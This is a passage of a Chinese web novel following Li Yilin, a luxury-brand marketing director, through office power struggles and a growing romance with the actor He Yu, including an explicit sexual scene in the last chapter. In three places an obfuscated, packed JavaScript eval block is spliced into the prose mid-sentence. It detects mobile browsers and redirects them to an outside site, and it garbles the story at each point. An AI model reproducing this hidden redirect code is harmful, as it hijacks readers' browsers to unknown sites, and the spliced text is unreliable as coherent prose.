这条信息之后，对方没有立刻回复。伊林打开社交网站刷了一会儿何屿的相关资讯，忽然之间，对方的信息再度传来。 「伊林，昨晚谢谢你。」 这条信息让伊林有些怔住。嘈杂的周围环境忽然变得安静，就像何屿在耳边低语。干燥手指的触摸，柔软双唇的厮磨，温暖拥抱的亲密……伊林控制不住的面颊发热。 在她犹疑的时刻，何屿的下一条信息传过来。 「下一条要开拍了，到上海回复我。」 「好。你专心工作」 快速回复他后，伊林关闭微信。然后她戴上降噪耳机，打开古尔德歌单，再将手机扔进包里。 她强迫自己陷入稳定的平静。 半小时后，登机提示响起。伊林收拾好随身物品找到靠窗座位坐下。她不想再去看手机，取出随身携带的《卡拉马佐夫兄弟》口袋书继续阅读。 “我爱人类，但是自己也觉得奇怪的是，我对全人类爱得越深，对单独的人，也就是说，对一个个具体的人，就爱得越少。我在幻想中屡次产生为人类服务的热望，也许真的会为了人类走上十字架，如果忽然有这个需要的话，然而经验证明，我不能同任何一个人在一间屋里住上两天。他刚刚和我接近一点，他的个性就立即妨碍我的自爱，束缚我的自由。我会在一昼夜之间甚至恨起最好的人来：恨这人，因为吃饭太慢，恨那人，因为他伤风，不断地擤鼻涕。他说，只要人们稍微碰我一下，我就会成为他们的仇敌。然而事情常常是，我对个体的人恨得越深，那么我对整个人类的爱就越见炽烈。” 在何屿如同幻梦般出现之前，李伊林认为自己对“具体的人”早已免疫。从高中时，她就已清晰同龄男生对女性的看法。男性从他们的青少年期就已形成同盟，从不同角度将女性性化。女同学，女老师，都会成为他们的私下谈资。大学时谈的男朋友是难得的头脑干净，但也敌不过长达四年的宿舍式集体生活。她曾伪装自己只是好奇，去问他男生宿舍的夜谈会主题，结果丝毫不让她意外。那些看似轻松无意的笑料中，充斥着对各年龄段女性的性化贬损。 工作之后，伊林进入看似“清高”的传媒文化圈。她看见，那些看似意识先锋、具有新闻理想的男性主编、主持人、领域专家、明星名人，在饭局上是如何将沉默的女性编辑、记者当成陪衬，又如何在不同饭局带着毫不重样的年轻女伴谈笑风生。这群人拥有足够的阅读量与知识量，智商情商都不在话下。他们很喜欢在饭局上互相吹捧的同时，强调自己的客观理性，以及想要改变现状的初心。这些对彼此的尊重理解中，并不包含女性。自诩为先锋、开放、平等的文化群体，它的金字塔尖，依旧被男性占满。 对于男性，她很早就开始客观看待。在她出生之前几千年，他们就已联手建造整个社会的男权结构。他们使用纸和笔，构想、建立和完善着一切有利于他们的现实世界与意识形态。同时，他们使用话语权为女性建造了有利于男性自身的集体意识：渴望男性之爱，渴望得到男性选择，习惯弱化自我以获得男性怜惜，习惯性仰视男性并将同性视为竞争对手，认为家庭是避风船票并将结婚生子作为终极目标…… 在这些由失权而造成的“渴爱”假象中，男性在不停蚕食女性在公共领域的生存机会。李伊林并不将他们视作可以组建家庭的合作伙伴，因为她观察到，家庭这个既定结构更善于吞没女性。与渴望爱与婚姻的同龄人相反，她更想得到金钱与地位。她认为，这是她作为不服从既定规则的少数派，拒绝进入男性叙事、独自生存的自由基底。 在李伊林的二十多岁，女性主义远没有发展到今日阶段。她曾像个异类一样，在普世共识中挣扎许久。她对现实无感，却无可抑制的耽于幻想。她会在想象中构建一个远离男性同盟，更深刻理解人类欲念与情感，对约定俗成普世规则持怀疑态度，自有对世界的独立看法与完整处世的“完美”男子，并将其投射于某个虚幻人类身上。 在这14年间，李伊林所选择的最贴切的投射体， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459265|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是演员何屿。 飞机升上高空，完全暗下的机舱中，小簇读书灯打在苍白书页上，在眼底形成重影。伊林合上书本，关掉顶灯，后调座椅，在黑暗中闭上眼睛。 对何屿的了解越深，越让习惯与现实对抗的李伊林走向“软弱”。她悲哀地发现，那些她幻想出来的、认为不可能存在的东西，竟然完整属于真正的何屿。而他甚至更加理想主义——他会为了成为演员与家族对抗，为了获得更多体验放弃声名财富，他甚至完全规避了情欲，在名与利的金字塔尖上，活得像个洁净僧人。 伊林在三万英尺的高空中确定一件事。 她已对他无法自拔。 落地之后，伊林没有马上打开手机。她去洗手间洗了把脸，在托运行李转盘前点亮屏幕。几条未接来电，与方华跳出来的信息中，接机司机的号码保持一致。尽管她已通知方华不用安排，得知他改签的何屿依旧吩咐自己的经纪人当起大管家。 拿到行李之后，伊林给司机回过电话，按照指引找到熟悉的奔驰E450。坐进后座，她点开界面，给何屿发信息。 「已到上海」 伊林稍微想想，再发送一条。 「何屿，不要对我这么好。」 对方并无回复，或许还在工作。 李伊林抬头望向冬日城市。天空中逐渐飘起小雨，寒潮将至。 回到家中，门口依然挂着署名为「何先生」的温热夜宵。伊林已经非常疲惫。她将手机、外套、行李扔在门厅，打开全部暖空调，提着夜宵坐在餐桌上。她吃下美味食物，使用由味蕾升腾起的愉悦情绪安慰自己。 吃完夜宵，伊林又在餐桌上坐了一会儿，起身去冲澡。 吹干头发，时钟显示凌晨1点过半。伊林慢吞吞去门厅拿了手机走去卧室。弧形落地窗外传来雨点不断敲击玻璃的声响，她向外望去，对面高楼如同静止的深海鱼群，遥远街道湿漉漉的，被路灯映照着像巨大的海底镜子。 这是潮湿阴冷的上海冬天。她本应早已习惯。 伊林拉上窗帘躺进床铺。手机屏幕显示几条未读信息，她打开，是来自何屿的语音信息。 「伊林，我能看出你很疲惫。只是希望在一些小事上能照顾到你。」 「今天的工作完成了，你也早点休息。」 「伊林，我已经开始想念你。晚安。」 窗外冷雨被暖风挡在粗粝冰冷的现实之外。这是属于李伊林的幻梦时刻。她不再计较于何屿的感情究竟有多少真假，只想拥有此时此刻，在一千公里之外的关心与思念。 「我也很想念你。愿你今晚好梦」 伊林用文字回复，再将屏幕按灭，躲入黑暗。 她幻想着，能与何屿进入同一个梦。 31. 第 31 章 31 31 周一例会，李伊林和团队汇报将在下周一进行的官宣活动所有细项。中端产品线总监王景星罕见的非常主动，让自己团队全部进来帮忙。伊林面上表示感谢，实际上并不想让他的团队融合进来。她向CMO徐嘉理表示传播团队已全部分工好，暂不需要外援。但徐嘉理就像没听见，依旧吩咐王景星团队加入官宣专项。 伊林心中大概猜出，这次王景星想要中途进来摘业绩是与徐嘉理商量好的。她有些想冷笑，但也管住了自己。下会后王景星过来邀请传播团队继续与中端产品团队开小会，伊林尚未回应时，叶朗脱口而出，好啊，我去占会议室。 叶朗想升高级经理已有一段时间，但从业绩表现，戴晓娜是今年升职的主要候选人。伊林冷眼看着叶朗与王景星热络聊天，她内心明白，王景星定是给了叶朗职级承诺。 在本次项目里，叶朗主负责TVC拍摄。但在所有工作流程中，她基本没有让伊林放心过。脚本不过关，制作团队无推荐，跟拍把关不达标，盯剪辑毫无有效输入。 李伊林希望她快些提出转岗申请。这样她能多出一个HC来招更适合的人。 会议室已定好，叶朗招呼着同组组员去开会。她自始至终没有看向自己的直属主管，李伊林。 下午会议内容是与何屿团队的后续合作规划，本应是叶朗负责，伊林看过方案，创意不出彩，视觉ref也完全不对。李伊林在内部会议中将此项目过渡给另一位内容组下属。她不打算继续迁就叶朗的能力不及格。 接下来是戴晓娜的线上会议，议题是线下活动执行进展。晓娜在线上告知，王景星团队组员许弋杰已经开始与场地方对接，她对此感到烦心，对方并不像来帮忙，倒像来监工。 伊林非常明白品牌团队的一贯做派，执行期间指指点点，袖手旁观，汇报会上主动“整合”，全面摘果。只是在王景星背后，是掌管市场部所有资源的CMO徐嘉理。伊林只能现将晓娜安抚住，再细细对过线下部分的每一个执行步骤进展。 吃过晚饭，是媒介投放会议。这是预算的最大头，王景星带全体团队前来旁听，细细盘问媒介组每一个投放项目。组内成员在微信群吐槽：「我们多了一群老板啊这是」。伊林装作没看见。她心中厌恶之情比组员更甚，但她什么都没有表现出来。 所有项目确认完，伊林回到办公室，编辑给CMO以及法国总部汇报的英文简报邮件。发送之后CMO秒读，转发给王景星及其团队，忽略代言人项目总控李伊林，反而用法语提醒中端产品线团队做产品端确认补充。李伊林觉得内心憋气，干脆合上电脑。她冷静十分钟，再度打开电脑，在王景星回复之前用法语快速总结产品使用、陈列、运输、保险与安保事宜，并客气带上产品线全体成员，表示已与对方整体确认。 编辑好之后，她再整体检查一遍表述逻辑与语气，利索按下发送键。 邮件发送成功。现在是欧洲时区的下午三点半，法国人应该会很快回复。 果然，不到五分钟，新邮件提示。伊林打开来看，是一封简短的反馈邮件，更多关于此次运送的高端珠宝代言人使用场景——总部希望皇室胸针不必仅用开来陈列展示，而是请代言人何屿亲自佩戴演绎。 李伊林快速回复收到任务，马上与代言人团队对接。在这之后，法国总部回复一封感谢亚太区团队工作的客套邮件结束对话。李伊林满意点了关机，合上电脑，准备下班回家。 接下来的一周，王景星团队收敛了些，看起来一团和气的与传播团队打配合。李伊林冷眼看着中端产品团队在每一次日报会中“整合”传播组的所有工作，真正做事的传播团队只在CMO徐嘉理质疑某项进程问题时才会被点名回答。每一次日报会结束，伊林都会再开一次团队内部小会，主要安抚组员情绪。碍于叶朗的存在，她始终保持绝对的情绪稳定。 身在高级总监职位，李伊林尽职尽责做好所有事项统筹管理。职场倾轧是一回事，自己的项目完成度是另一回事。这是属于何屿的代言官宣，她要确保做到她能力范畴里的完美。她不想让何屿失望，更不想给自己留遗憾。 在内心深处，一种想法开始萌芽。官宣项目完成后，伊林考虑离开利希斯，离开职场一段时间。她不想再将大片时间陷入毫无意义的繁文缛节、人事斗争。这一切越来越让她内心烦躁，不可忍受。她甚至会在会议的间隙开小差，想起在大监视器前看着何屿，看着他完全沉浸在表演之中，利用一切感官去塑造一个全新的陌生人。这个脱生于何屿内心的人物会通过屏幕，进驻到千万人的内心。人们会跟随他的故事，理解另一个人的生命，从中窥见他人与自己。他在使用自己的时间用来创作，而李伊林的时间，大部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459266|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来浪费在部门与资源拉扯之中。 在短短两周之前，李伊林还在野心勃勃，计划通过何屿项目完成年中晋升。是什么改变了她？徐嘉理、王景星放在台面上的联合打压，还是被何屿逐步唤醒的、隐藏在事业狂人外壳下，那个曾经只为理想活着的她自己？ 何屿一如既往，在每天晚上发来语音问候。这成了伊林的睡前氧气。她会蜷缩在被子里，反反复复把他的声音听很多遍。她想念他的皮肤，他的木质香气，他的拥抱，他的抚摸，他的吻。 如果没有何屿的凭空出现，现在的自己会是怎样？继续以一副假面行走在两点一线，明知CMO在利用品牌团队纵横压制职能团队，也依旧在一层一层的权力结构之下忍气吞声，保持成熟，只求晋升。 之前的自己是如何一路忍受过来的？伊林不禁在回想。或许是第一次拿到数倍于媒体的年终奖时的惊喜自傲，或许是渐渐可以随意走入奢侈品店随意购置商品的虚荣成就，或许是在终于有能力为自己购置房产时的扬眉吐气……牺牲理想、规训自我，以换来世俗意义上的攀爬成功。这是自诩“成熟职场人”信奉多年的生存法则。 回头去看，伊林觉得自己早已困入所谓的“体面生活”。吃穿用度，都要符合一定的溢价准则。因为要与她的收入水平相配比。这些肤浅至极的物质享受，并没有给她带来更丰富的内心体验。为了维持这份由消费铸就起来的“体面”，李伊林将自己打磨圆滑，切割完全，扔进同样耽于表面的职场浮沉。渐渐的，她成功将自己说服——比起浸润内心的观察、阅读、写作，她更需要定期汇入的金钱基底。尽管这会占据她的所有时间，让她陷入白日伪装的疲惫与夜间失语的沉默，但那个过去的她依旧认为，这样才是“不断向上”人生征途。 何屿唤醒了八年前的李伊林。那时的她，对世界充满好奇，对文字充满热情，更倾向于相信观念的力量，想用一支笔，让更多人拥有更自由、更丰盛的生活。 伊林看向标注有“何屿”的白色对话框。她有千言万语想要告诉他，却又不知应该从何说起。 他是她始于14年前的幻梦成真。他亲手重塑了她的所有相信。 「谢谢你。让我回到八年之前。」 满腹文字，化为短短一句。 「你是我唯一的美梦成真。」 她对他说。 32. 第 32 章 32 32 周三下午，CMO发起临时会议，要求李伊林、王景星团队全体参加。会上他亮出一封邮件，是他按照支出成效比向总部提出将官宣活动晚宴做成VIP鉴赏会，回馈VIP客人高级定制珠宝内部购买收藏权。这场鉴赏会需要何屿出席，要求李伊林作为何屿方对接人，务必说服代言人旅行履行这项凭空生出来的代言权益。 李伊林只觉匪夷所思。距离正式官宣活动只有四天，现在让她在毫无谈判筹码的情况下要求追加以售卖为导向的鉴赏会出席，而这是她的直属领导主动提出、法国总部已经允准并下达的命令式工作。 王景星在旁一直称赞CMO徐嘉理的决策能力，同时“指导”李伊林“鉴赏会只需要何屿将出席活动延长一小时，肯定不难谈。”两个人在办公室里其乐融融，只有被强制按头的执行者李伊林保持沉默。 见她并不附和，徐嘉理对她也不再客气。他对李伊林下了命令，宣布会议结束。 尽管被高压至此，伊林依旧保持客观工作态度。 “我尽力去谈，时间太紧，我们也同时想其他替代方案。” 她没有再看任何人脸色，利索离开CMO办公室。 回到办公室，伊林吩咐组员将下一个会后移半小时，她需要时间平复情绪。 何屿出身何氏集团，他的家世甚至高过大部分喜欢露脸的利希斯VIP。让他去为品牌客人作陪？这并非他是否应允的问题。利希斯品牌方任何人向他提出此项要求，都是自取其辱。 这种情状就算法国人不清楚，徐嘉理和王景星一定清楚。他们联合对她设置这种圈套，目的也很明显：让没有背景又心气甚傲的李伊林忍受不了，自己离开。 内心的愤怒已体现在身体特征上。她的右手小指开始发颤。 李伊林站起来，面对窗前广阔天空。灰云滚滚，如深重波涛随风变幻前进。她打开透气窗，让呼啸冷风进入室内。压抑的灰色世界就像被敞开气阀，被空调人为拉高的气温很快尽数流失，如同她四年间倾尽心力获得的一切。 玻璃门上响起敲门声，是组员提醒下一个会议开始。李伊林关好窗户，带上笔电手机走去会议室。在内部执行对焦告一段落后，伊林打开方华的对话框，使用最公事公办的语气提出新增的VIP鉴赏会出席权益。以她对方华的了解，这位资深经纪人一定会强势拒绝。李伊林打算直接用方华的拒绝向上汇报。她绝不会做任何主动争取。 晚上8点半，伊林完成工作叫车回家。进门之后，她脱掉外套，散开束发，换好毛绒拖鞋，将空调暖风开到最大。 她慢吞吞的，走入空无一人的景观阳台。打开窗户，迎风看着不停变换颜色的东方明珠塔。夜间城市华丽炫目，高塔塔尖被隐于乌云云峰，让高饱和灯光颜色变得氤氲。 伊林很喜欢这幅景色。小时候父亲第一次带她来上海，挑选的就是能看到这座高塔的酒店。它是一个绮丽的梦，代表上一辈人心中，更丰富、绚丽、开放的希望与生活。 从大学开始，伊林就离开家乡，生活在这座城市。她喜欢小马路里的精致小馆，喜欢坐满马路牙子的小酒馆年轻人，喜欢在苏州河边散步，也喜欢去岸边小店吃下午茶。她深知一个外来者需要付出多少时间与精力，才能坦然享受它昂贵的松弛。但她已不想为了这幅万千人都能看到的公共欲求，继续绑死在名为欲望的空中楼阁。 生活可以，也应该发生变化了。官宣活动完成，李伊林会立刻提离职。她决定从职场中脱离出一段时间，选择她曾放弃的一条路——像何屿一样，高效使用时间，完全用于创作。她并不求有读者与收益。她只想从层层叠叠缠上身的人际绷带中解脱出来，享受最单纯的、创作的乐趣。 或许是潜意识里的蓄谋已久，亦或许只是某个情景里的短短一瞬。 李伊林爬上高高在上的桅栏顶端，彻底改变帆的方向。 周四早间会议时，徐嘉理主动问起代言人出席VIP鉴赏会进展。李伊林只回复已问询何屿团队，尚未得到反馈。同组下属在群里打出问号，难以理解这项堪称离谱的临时追加权益。李伊林没有参与讨论，她开始在内心筹谋，如何在提离职前保障本组成员的晋升提薪。 会议结束，伊林再与媒介组确认所有投放素材与渠道。27日凌晨在各大社媒投放开屏，早8点在信息流推送TVC，晚8点黄金档在主流电视台播放电视广告。新媒体组会在官宣活动期做官方视频直播与图片直播。上午十一点何屿所有社交平台发布官宣内容，新媒体组需负责官方转发与实时舆情监控。下午两点官宣线下活动开始，所有造势号段会将利希斯与何屿两个名字铺满各个社交媒体，巧妙“空袭”热搜榜。 这一套传播策略伊林早已轻车熟路。除此之外她对主广告片更有信心。何屿在TVC中的回眸一瞬，会让利希斯的所有传播指数形成尖峰。 对完整体细节，中饭都来不及吃就进入下一个由王景星发起的“业务对齐会”。想都不用想，是个废话会，但也不得不参加。伊林去走廊尽头的大会议室坐牢一小时后，以接电话为幌子溜出来，去楼下轻食餐厅吃下迟到的午餐。 下午与戴晓娜线上会议，过另一套正装硬照物料，再细细对所有活动现场微小执行细节。晓娜在《风起》拍摄地所在影视城找了摄影棚，拍摄的一系列纯色背景硬照已完成修片并与何屿团队确认过，这项工作伊林全权交给晓娜执行，成片线上返回后，伊林很满意。 何屿的确不用更多繁复装饰。纯色背景、纯色定制西服，搭配利希斯各系列系列珠宝，是他这个阶层约定俗成的审美范式。 这套物料李伊林不再约内部看片会，而是邮件发送CMO以及各个产品组VP进行确认。邮件发出不到五分钟，CMO助理就来叫李伊林去大会议室，徐嘉理主动发起看片会，需要大家当面给意见。 伊林更觉烦躁。但她很快忍耐。她深呼一口气，告诫自己再熬半个月即可提离职。然后她平复下来，去往下一个公开处刑室。 硬照公开看片会收集了至少50条各色人等的“个人建议”，李伊林表示全部接受，但是否能全部完成修改，还需看何屿团队态度。在之前的项目里，对已成型的物料所发表的非专业建议，李伊林都会直接站出来挡掉。这一次，她全程不说话。她正在训练自己成为利希斯品牌与何屿工作室的公共事务中转站。 看片会结束后，正在走会办公室的伊林收到方华信息，「何屿可以出席VIP鉴赏会，需控制在一小时之内。VIP名单请提前知会。」 这条信息让她停在走廊上。何屿为什么不拒绝？是因为他答应过她可以提任何要求？ 演员何屿是主动选择避世的造梦者，他与商业社会泾渭分明。他不应自降身份，出现在看似私密高雅，实则主打成交的订货会。 李伊林握紧手机，快速回到办公室关上门。她马上给何屿发去信息。 「为什么答应去VIP鉴赏会？你应该拒绝。」 对方并无应答，应该是忙于工作。 伊林在窗前来回踱步，她在考虑要不要问方华。但她作为需求提出者，再去问方华为何不拒绝？这很奇怪，更显得她不专业。 最终她决定坐下来，等待何屿回复。电脑时钟显示六点四十。微信弹出同集团另一品牌的同届老友喊她吃饭，她心绪很乱，也想出去透透气。她马上答应。 一顿饭只花了半小时，伊林就要赶回办公室参加媒介投放日会。线上投放，不同物料对应不同人群标签；线下投放，所有城市点位时间排期要做二次确认。中途各产品线忽然开始争执重点城市的中心点位，本来一小时能开完的会硬是开了三小时。 会议结束，伊林觉得自己一句话也说不出来。她沉默收拾好随身包，听见刚刚散会的同事正在走出走廊。她有些烦闷。为躲避社交，她拿出手机坐回角落待客沙发，等待声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459267|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响安静。 新消息通知栏内并无何屿。红点信息提示的都是各个对外工作群。李伊林静静点完所有新消息，快速反馈待决定事项。处理完所有事务，办公室内外寂静一片。 门外感应灯自动调暗，偌大空间内是一片死寂的灰。 伊林站起身，带好随身物品，走出公司大楼。 回到家中已过十一点。疲惫的人换好家居服，去浴室冲澡。在热水中，她得以稍稍放松。她洗了很久。 吹干头发，去门厅拿了手机躺在床上，看到来自何屿的回复。她点开对话框，是两条语音信息。 「伊林，发生了什么事？」 「我跟方华聊了下，当天可以调出一小时，不是什么大事。」 发送时间两分钟之前。伊林用信息问他是否方便电话，下一秒钟，他的电话打过来。 “何屿。”按下接通键，伊林唤他的名字。 “……怎么了？”对方的声音是一如既往的低沉、柔和。 “我认为你不应该出现在某个品牌的高级订货会上。” 伊林本认为这应该是个严肃话题，却没有想到，电话另一端传来低沉轻笑。 “……这有什么，我当个吉祥物罢了。” “你不应该跟这种场合有关系……” 这一次，她还没说完，就被对方打断。 “伊林，不要多想。很多项目前期投资饭局都会拉我去，我能处理好。” “我不是担心你能不能处理好……” “是不想让你喜欢的‘演员何屿’，去给人作陪，是么？” 伊林没有说话。何屿知道这个事实。这并非关乎项目生死的投资局，这是一个奢侈品牌的无理要求。他应该做的是拒绝。 “伊林，这对我不算什么。大部分场合里，我都会完成相应的商业职责。明星本就是商业化的一部分，没有什么好避嫌的。” “……你不要因为是我提出的，就接受。我不算你的什么。” 对方沉吟良久。伊林听见听筒中传来一些细小声响，像是被子与床单之间摩擦发出的沙沙声。 她想象着他懒懒躺在床上，忙完一天工作，给远在上海的职场焦虑症患者打电话。 他会觉得被侵扰么？伊林有些内疚。也许她不该打扰他。 听筒里安静下来，像是何屿已找到舒服的姿势。在此之后，他给出答案。 “我不否认，你的要求我都不会拒绝。这是我答应过你的事，就像你答应过不离开。……你是我很重要的人，我愿意为了你做努力。” “但是这件事，对我来说真的不算什么。所谓的‘家族身份’，在我决定当演员的时候就已经丢掉了。与父亲决裂非常艰难，但也从那时起，我开始对‘身份’免疫。于公，我是你们的品牌代言人，于私，我们是经常同床共枕的关系。这只是我工作中的小小一项，相信我，它比背台词容易多了。” 同床共枕的关系。这种暧昧却不带感情的表述，让她内心刺痛。但她明白，这是事实。 “……好。”伊林亦不再辩驳。虽然他语气轻松，她心里依旧很不好受，觉得自己让他受了委屈。而这种感受，也许正是他想要的。 “很晚了，你早些休息。”不想继续侵扰他的休息时间，伊林决定结束对话。 “嗯。这几天都睡得挺好，谢谢你。” “那就好….”伊林再度想起亲吻他的触感，感到心有局促。 像是察觉了她的情绪，电话中再度传来他的声音。 “伊林，晚安。” 他的声音诚挚，动人，像是真的。 “……晚安。” 她不自觉放软声音回复他。而后她克制着自己，按下挂断键。 一切声响消失后，李伊林仰躺在大床上，盯着虚无一片的天花板。 一个吻，能换来他的一周安睡。 他还想进一步得到什么？ 33. 第 33 章 33 33 李伊林搭乘周五下午航班前往广州后，径直去了东方文华酒店与线下活动公司过流程。开完会已是接近凌晨，拖着行李走出酒店，方华安排的司机依旧在停车场等她。 回到庭院，凌晨一点。厨房里有厨师正在准备夜宵，她被告知，何屿马上到家。 食物的香气溢出，让室内空间异常温暖。伊林盘腿坐在客厅的帆船沙发上刷手机，又翻出何屿的开屏物料看。 因为方华的强势应对，被公司各个产品线提了50多条修改意见的系列硬照得以维持原貌。在这一点上，方华完全没有让步——任何让何屿在大众媒体面前太过商业化的倾向，都会被她及时掐断。 这套硬照伊林很喜欢。尽量并非她亲自主导，摄影师却完全理解她想要的东西。何屿代言硬奢最大的契合并非是国民级演员这个角色，而是他的出身。他是被挑剔的富裕阶层认可的公众人物。比起TVC，更年轻的受众或许并不喜欢硬照里的何屿。他将头发梳至脑后，穿一身暗蓝色定制西服，松弛闲适的表现着富裕阶层的轻松优雅。尽管李伊林很明白，何屿并非没有遭受过失望与折辱，但从这些异常贴合他原始气质的照片里看过去，观看者只会认为，明星何屿以及他身上出现的一切，都是毫不费力而令人向往的。 又刷了一会儿手机，屏幕里的主人公推门进来。伊林从沙发上回头看他，很久违，很欣慰。 阔别七日，何屿气色很好。“伊林。”视线中，他很自然的唤着她。那笑容宛若暖阳。 伊林趴在沙发上微笑看他。“我回来了。”她说。 何屿脱掉鞋子走向她。她在沙发上等他。他穿着驼色衬衫，同色系长裤，趿着浅灰色小羊皮拖鞋接近她。 带有浅淡雪松香气的男子将她扑倒。他很自然的拥抱她，像久别重逢的恋人。 心中对他的感情让李伊林无力挣脱。那张美丽的脸埋在她的颈窝，褐色头发稍微长长了些，毛茸茸的掉落耳边。伊林缓缓闭上眼睛。 厨房的声响让何屿稍稍回到现实。他松开怀里的人坐起身来，“抱歉，忘了厨师还在。”他看起来有些不好意思。 这倒稀奇。在饭局上可以面不改色扮演亲密，回到家中反而害羞了。 “放心。他又不是狗仔。”伊林打趣。 何屿把伊林拉起来，“去吃点东西。” “好。正好饿了。”站起身后伊林注意到，何屿并没有松开她的手。她有些尴尬，但也不舍得松开。 牵着手走到餐桌，何屿才放开她。“夜宵已全部准备好，请慢用。”年轻厨师将餐具摆好后，何屿向他道谢。厨师礼貌点头，回去厨房换下工作服，安静离开。 偌大空间，只剩下他们两人。不知为何，伊林有些紧张。室内安静，只有餐具发出清脆声响。 “……这几天睡得好吗？”意在打破安静，伊林开启对话。 “睡的很好。”何屿继续对她微笑。“你的吻很管用。” 伊林有些惊讶的睁大眼睛，又转移视线。她没有想到何屿会这么光明正大的说出来。 “小番茄是夹心的，很好吃。”何屿将甜品小碟推向她，表情自然，好像他们本就是可以随意接吻的关系。 伊林依旧避开他的视线。她夹一颗去皮冰番茄放进口中，是非常新鲜翠冷的甜。咬下去，夹心其中的微酸浆果均匀中和，让酸甜口感恰到好处。 “好吃。”她不由自主看向何屿。男子轻笑着，又给她推来另外一碟。 “再尝尝这个，烤菠萝。” 伊林变得很听话。每一道菜品数量都不多，材质均为蔬菜瓜果，不涉及肉类。夜半吃来，感觉温雅洁净。 吃完所有小碟，发现厨师备的分量刚刚好。何屿依旧阻止了伊林想要收拾餐桌的意图，让她去冲澡睡觉。 吹干头发躺在床上，何屿还未从浴室出来。伊林有些奇怪，好像在之前，何屿总是比她先冲好澡。或许因为一天疲累，他想在热水中多泡一会儿。 舒服柔软的床铺让她昏昏欲睡。模糊之间她知道水声停止，另一个人关掉主灯，躺在她身边。她知道那是何屿，在半睡半醒中接纳着他的接近。 本以为他会像往常一样，抱着她入睡。但他却在拥抱中，用另一手抚摸起她。修长的白皙指腹婆娑着她的面颊，舒服温软的触感让她不自觉的更加靠近。而那手指却缓缓向下走去，轻轻按开她的双唇。 在夜的氤氲中，他再一次吻上她。 伊林想要醒来，却又被亲吻的甜蜜温暖所挟持着，陷于朦胧的快感之中。平日里支撑她收起自我的理智阀门已被关上，她第一次感受到自己是如此渴望。 伊林控制着他，伸手捏住他的下颌，吻着他。她的另一只手游离于他。他会拒绝她宛若失控的肆意吗？或许他并不想被这样对待。但是他没有反抗。相反地，他让自己平躺着，默许一切发生。 那个陪伴着他的人，那个能带给他安稳睡眠的人，正在进一步，更进一步。 何屿终于忍受不住。“伊林……”他喑哑的唤着她的名字，却又不知道究竟想告诉她什么。 “什么都别说……”伊林像哄孩童一般哄着他。她的声音亦被浸染，像妖兽。 她听见美丽男子呻吟出声。而这让她异常满足。她继续压制着他。她认为她能给他一切。 她花了一番功夫纠缠他、引导他。她亲吻他，控制他，用另一只手游走他覆有薄肌的身体。她听着他美妙的喘息声，在黑暗中想象着他的表情。而她又在这甜美的绝对控制中心生恶念：还有谁曾离他如此之近？他的初恋？他的圈内女友？他游历各国时不断结交的露水情缘？ 她在这黑色嫉妒里发起狠来，而这让他愈发承受不住。她亲吻他的唇，他的脖颈，他的锁骨，他的胸口。 她逼迫他最终释放。 心跳平息后，伊林起身去浴室温好毛巾，清理何屿的身体。男子本来还能半睁着眼睛看她，待她擦拭干净、为他盖好薄被，对方已经沉沉睡去。 伊林将毛巾扔进换洗筐，回来躺进被窝里。她没有关壁灯，只是在柔软的橘色灯光里细细去看他的完美容颜。 他们最终走到了这一步。内心混乱的感情一步一步冲开理智，变得压抑不住。何屿知道伊林的感情，甚至是在一步步加深诱导着。他躺在床上，一切由她主动。 如果关系互换，何屿作为性别与阶级上的上位者来对陷于失眠混乱的李伊林出手，只会让伊林反抗抵触。但是何屿坦然接受了这一切。或许他作为男性，本身就不存在女性自出生以来即被规训的性羞耻。 明早起来，又该如何面对他？ 在这个颇显尴尬的问题之中，情绪从高亢陷入疲累。 李伊林认为自己没有答案。她只能再一次遵从于人类最原始的本能——去拥抱住她单方面的爱人，进入最香甜的美梦一场。 次日清晨，伊林醒来，身边并无何屿。她所担心的尴尬场景并未出现，却又让她陷入另一种迷思：何屿是为了躲避她，才选择了一早离开吗？ 这样的想法或许接近荒唐。何屿的消失是因为拍摄工作。而伊林的会议日历表同样被填满。为了两天之后的官宣大事件，她要开始48小时连轴转。 伊林利索起床，冲了澡出来打开电脑。工作系统里一堆细项要批，她一个个仔细看过去，确保毫无问题再通过，移交给下一个审批人CMO。她知道自己如今处境艰难，所以更不想忙中出错，被人抓到切实把柄。她要保障团队成员不受她这个层级的内斗影响。 在线统筹日会开完，厨师已将一人份早午餐准备好。伊林在庭院吃完，下午开车去场地盯进度。 去到文华酒店大宴会厅，晓娜正在根据实际现场调整各项装置。她没有立刻看到自己的直线主管，伊林安静看着她工作，发自内心喜欢这个认真细心的下属。 戴晓娜是三年前来进来本组，之前更多做线上内容运营。刚来时，有些跟不上传播团队的创意敏感度，但在短短半年之后，她就能贡献出剑走偏锋的好想法。 